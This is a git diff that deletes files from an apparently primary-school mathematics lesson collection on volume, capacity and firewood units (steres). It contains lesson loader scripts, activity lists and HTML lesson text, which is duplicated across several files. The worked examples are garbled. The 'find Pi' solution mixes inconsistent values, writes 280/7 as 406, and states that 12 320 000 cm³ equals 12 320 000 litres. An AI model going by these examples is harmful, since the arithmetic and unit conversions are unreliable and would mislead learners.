-  1dast=10st
- </div>
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m15/map611m15a02/description.py b/Save_Mathematics/P6/map611m15/map611m15a02/description.py
deleted file mode 100644
index 49fee96..0000000
--- a/Save_Mathematics/P6/map611m15/map611m15a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m15a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m15/map611m15a02/lesson.js b/Save_Mathematics/P6/map611m15/map611m15a02/lesson.js
deleted file mode 100644
index d87e96f..0000000
--- a/Save_Mathematics/P6/map611m15/map611m15a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m15/map611m15a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m15/map611m15a02/source.txt b/Save_Mathematics/P6/map611m15/map611m15a02/source.txt
deleted file mode 100644
index 10e35d4..0000000
--- a/Save_Mathematics/P6/map611m15/map611m15a02/source.txt
+++ /dev/null
@@ -1,737 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice.
- </span>
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- Consider the following figure:
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-<div style="text-align: center; direction: ltr;">
- <span style="font-weight: bold;">
-  V=Pi*r2*h=Pi*r*r*h
- </span>
- <br />
- <div style="text-align: left;">
-  <br />
-  Where V:Volume
-  <br />
-  Pi=3.14
-  <br />
-  r=cicle radius
-  <br />
-  h=height
-  <br />
-  <br />
-  Example1: Find the value of Pi if
-  <br />
-  height=2cm
-  <br />
-  r=140cm
-  <br />
-  d=140*2=280
-  <br style="font-weight: bold;" />
-  <br style="font-weight: bold;" />
-  <span style="font-weight: bold;">
-   Solution:
-  </span>
-  <br />
-  <br />
-  Pi=
-  <span style="text-decoration: underline;">
-   3*diameter+diameter/7
-  </span>
-  <br />
-  diameter
-  <br />
-  <br />
-  <br />
-  =
-  <span style="text-decoration: underline;">
-   (280cm*3) +280cm/7
-  </span>
-  =
-  <span style="text-decoration: underline;">
-   840cm+406cm
-  </span>
-  <br />
-  280cm 280cm
-  <br />
-  <br />
-  =3.142857=3.14 or
-  <span style="text-decoration: underline;">
-   22
-  </span>
-  <br />
-  7
-  <br />
-  <br />
-  If diameter is 7cm
-  <br />
-  <br />
-  V=(
-  <span style="text-decoration: underline;">
-   22 *140cm*140cm
-  </span>
-  )*200
-  <br />
-  7
-  <br />
-  V=
-  <span style="text-decoration: underline;">
-   22
-  </span>
-  *19600cm
-  <sup>
-   2
-  </sup>
-  *280cm
-  <br />
-  7
-  <br />
-  V=22*2800cm
-  <sup>
-   2
-  </sup>
-  *200cm
-  <br />
-  <br />
-  V=61600cm
-  <sup>
-   2
-  </sup>
-  *200cm
-  <br />
-  =12 320 000cm
-  <sup>
-   3
-  </sup>
-  <br />
-  <br />
-  Capacity=12 320 000litres
-  <br />
-  <br />
-  Comparing units using a conversion table.
-  <br />
-  <br />
-  <br />
-  <table border="1" width="100%">
-   <tbody>
-    <tr>
-     <td colspan="12" width="8%" valign="top">
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      UNITS
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      Measurementts of
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      m
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      dm
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      cm
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      mm
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-      volu
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dast
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      st
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dst
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      firewood
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      t
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      q
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      -
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      kg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      hg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dag
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      g
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      cg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      mg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      mass
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      hl
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dal
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      l
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dl
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      cl
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      ml
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      capacity
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      5
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      1
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      0
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      0
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-    </tr>
-   </tbody>
-  </table>
-  <span class="nolink">
-  </span>
-  <br />
-  <br />
-  <ul>
-   <li>
-    Measuremens of volume.
-   </li>
-  </ul>
-  Cube kilometres: (1km
-  <sup>
-   3
-  </sup>
-  )=1km*1km*1km
-  <br />
-  Cube hectometres(1hm
-  <sup>
-   3
-  </sup>
-  )=1hm*1hm*1hm
-  <br />
-  Cube decametres(1dam
-  <sup>
-   3
-  </sup>
-  )=1dam*1dam*1dam
-  <br />
-  Cube metres(m
-  <sup>
-   3
-  </sup>
-  )=1m*1m*1m
-  <br />
-  Cube decimetres(1dm
-  <sup>
-   3
-  </sup>
-  )=1dm*1dm*1dm
-  <br />
-  Cube centimetres(1cm
-  <sup>
-   3
-  </sup>
-  )=1cm*1cm*1cm
-  <br />
-  Cube millimetres(mm
-  <sup>
-   3
-  </sup>
-  )=1mm*1mm*1mm
-  <br />
-  <br />
-  <ul>
-   <li>
-    Measurements of firewood
-   </li>
-  </ul>
-  Decastere(dast)
-  <br />
-  Stere(st)
-  <br />
-  Decistere(dst)
-  <br />
-  <br />
-  <ul>
-   <li>
-    Comparison
-   </li>
-  </ul>
-  1st=1m
-  <sup>
-   3
-  </sup>
-  =1t
-  <br />
-  1l=1dm
-  <sup>
-   3
-  </sup>
-  =1kg
-  <br />
-  5000l=5t=5st
-  <br />
-  1st=10dst=10q=10hl
-  <br />
-  1dast=100dst
-  <br />
-  1dast=10st
- </div>
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m16/activities.js b/Save_Mathematics/P6/map611m16/activities.js
deleted file mode 100755
index 81c9d95..0000000
--- a/Save_Mathematics/P6/map611m16/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m17a01','blue'],
-['2','2','map6','basic','map611m17a02','blue'],
-['3','3','map6','basic','map611m17a03','blue'],
-['4','4','map6','basic','map611m17a04','blue'],
-['5','5','map6','basic','map611m17a05','blue'],
-['6','6','map6','basic','map611m17a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m16/map611m17a01/a.txt b/Save_Mathematics/P6/map611m16/map611m17a01/a.txt
deleted file mode 100644
index 57285bb..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a01/a.txt
+++ /dev/null
@@ -1,60 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Introduction
- </span>
- <br />
- <br />
- To get the water fro the rain, we use different forms of tanks or  containers. We need to know the amount of each container or tank. The  capacity can be: 2000 litres or
- <br />
- 2 000dm
- <sup>
-  3
- </sup>
- equals 2,5 000 litres or 5 000dm
- <sup>
-  3
- </sup>
- equals 5m
- <sup>
-  3
- </sup>
- .
- <br />
- <br />
- We can also use measurements to know the volume o firewood.
- <br />
- <br />
- In this mileston, we will learn how to use the measurment of volume and  firewood, comparing with measurement of the capacity nd mass.
- <br />
- <br />
- To know the capacity of tank we hve to identify its height and the are  of the base(bse are)
- <br />
- <br />
- For example:
-</p>
-<ul>
- <li>
-  A cube has 5m as height and each side of his base is 5m
- </li>
-</ul>
-<p>
- The volume will be:
- <br />
- <br />
- V=H*S*S=5m*5m*5m
- <br />
- 25m
- <sup>
-  2
- </sup>
- *5m
- <br />
- Volume =125m
- <sup>
-  3
- </sup>
- , tthis volume is the same of a pea of firewood of the same dimensionn  but we count itin steres(125steres)
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m16/map611m17a01/description.py b/Save_Mathematics/P6/map611m16/map611m17a01/description.py
deleted file mode 100644
index d6e8e39..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m17a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m16/map611m17a01/lesson.js b/Save_Mathematics/P6/map611m16/map611m17a01/lesson.js
deleted file mode 100644
index 20d62a6..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m16/map611m17a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m16/map611m17a01/source.txt b/Save_Mathematics/P6/map611m16/map611m17a01/source.txt
deleted file mode 100644
index 57285bb..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a01/source.txt
+++ /dev/null
@@ -1,60 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Introduction
- </span>
- <br />
- <br />
- To get the water fro the rain, we use different forms of tanks or  containers. We need to know the amount of each container or tank. The  capacity can be: 2000 litres or
- <br />
- 2 000dm
- <sup>
-  3
- </sup>
- equals 2,5 000 litres or 5 000dm
- <sup>
-  3
- </sup>
- equals 5m
- <sup>
-  3
- </sup>
- .
- <br />
- <br />
- We can also use measurements to know the volume o firewood.
- <br />
- <br />
- In this mileston, we will learn how to use the measurment of volume and  firewood, comparing with measurement of the capacity nd mass.
- <br />
- <br />
- To know the capacity of tank we hve to identify its height and the are  of the base(bse are)
- <br />
- <br />
- For example:
-</p>
-<ul>
- <li>
-  A cube has 5m as height and each side of his base is 5m
- </li>
-</ul>
-<p>
- The volume will be:
- <br />
- <br />
- V=H*S*S=5m*5m*5m
- <br />
- 25m
- <sup>
-  2
- </sup>
- *5m
- <br />
- Volume =125m
- <sup>
-  3
- </sup>
- , tthis volume is the same of a pea of firewood of the same dimensionn  but we count itin steres(125steres)
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m16/map611m17a02/a.txt b/Save_Mathematics/P6/map611m16/map611m17a02/a.txt
deleted file mode 100644
index 8c22e7b..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a02/a.txt
+++ /dev/null
@@ -1,737 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice.
- </span>
- <br />
- <br />
- Consider the following figure:
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-<div style="text-align: center; direction: ltr;">
- <span style="font-weight: bold;">
-  V=Pi*r2*h=Pi*r*r*h
- </span>
- <br />
- <div style="text-align: left;">
-  <br />
-  Where V:Volume
-  <br />
-  Pi=3.14
-  <br />
-  r=cicle radius
-  <br />
-  h=height
-  <br />
-  <br />
-  Example1: Find the value of Pi if
-  <br />
-  height=2cm
-  <br />
-  r=140cm
-  <br />
-  d=140*2=280
-  <br style="font-weight: bold;" />
-  <br style="font-weight: bold;" />
-  <span style="font-weight: bold;">
-   Solution:
-  </span>
-  <br />
-  <br />
-  Pi=
-  <span style="text-decoration: underline;">
-   3*diameter+diameter/7
-  </span>
-  <br />
-  diameter
-  <br />
-  <br />
-  <br />
-  =
-  <span style="text-decoration: underline;">
-   (280cm*3) +280cm/7
-  </span>
-  =
-  <span style="text-decoration: underline;">
-   840cm+406cm
-  </span>
-  <br />
-  280cm 280cm
-  <br />
-  <br />
-  =3.142857=3.14 or
-  <span style="text-decoration: underline;">
-   22
-  </span>
-  <br />
-  7
-  <br />
-  <br />
-  If diameter is 7cm
-  <br />
-  <br />
-  V=(
-  <span style="text-decoration: underline;">
-   22 *140cm*140cm
-  </span>
-  )*200
-  <br />
-  7
-  <br />
-  V=
-  <span style="text-decoration: underline;">
-   22
-  </span>
-  *19600cm
-  <sup>
-   2
-  </sup>
-  *280cm
-  <br />
-  7
-  <br />
-  V=22*2800cm
-  <sup>
-   2
-  </sup>
-  *200cm
-  <br />
-  <br />
-  V=61600cm
-  <sup>
-   2
-  </sup>
-  *200cm
-  <br />
-  =12 320 000cm
-  <sup>
-   3
-  </sup>
-  <br />
-  <br />
-  Capacity=12 320 000litres
-  <br />
-  <br />
-  Comparing units using a conversion table.
-  <br />
-  <br />
-  <br />
-  <table border="1" width="100%">
-   <tbody>
-    <tr>
-     <td colspan="12" width="8%" valign="top">
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      UNITS
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      Measurementts of
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      m
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      dm
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      cm
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      mm
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-      volu
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dast
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      st
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dst
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      firewood
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      t
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      q
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      -
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      kg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      hg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dag
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      g
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      cg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      mg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      mass
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      hl
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dal
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      l
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dl
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      cl
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      ml
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      capacity
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      5
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      1
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      0
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      0
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-    </tr>
-   </tbody>
-  </table>
-  <span class="nolink">
-  </span>
-  <br />
-  <br />
-  <ul>
-   <li>
-    Measuremens of volume.
-   </li>
-  </ul>
-  Cube kilometres: (1km
-  <sup>
-   3
-  </sup>
-  )=1km*1km*1km
-  <br />
-  Cube hectometres(1hm
-  <sup>
-   3
-  </sup>
-  )=1hm*1hm*1hm
-  <br />
-  Cube decametres(1dam
-  <sup>
-   3
-  </sup>
-  )=1dam*1dam*1dam
-  <br />
-  Cube metres(m
-  <sup>
-   3
-  </sup>
-  )=1m*1m*1m
-  <br />
-  Cube decimetres(1dm
-  <sup>
-   3
-  </sup>
-  )=1dm*1dm*1dm
-  <br />
-  Cube centimetres(1cm
-  <sup>
-   3
-  </sup>
-  )=1cm*1cm*1cm
-  <br />
-  Cube millimetres(mm
-  <sup>
-   3
-  </sup>
-  )=1mm*1mm*1mm
-  <br />
-  <br />
-  <ul>
-   <li>
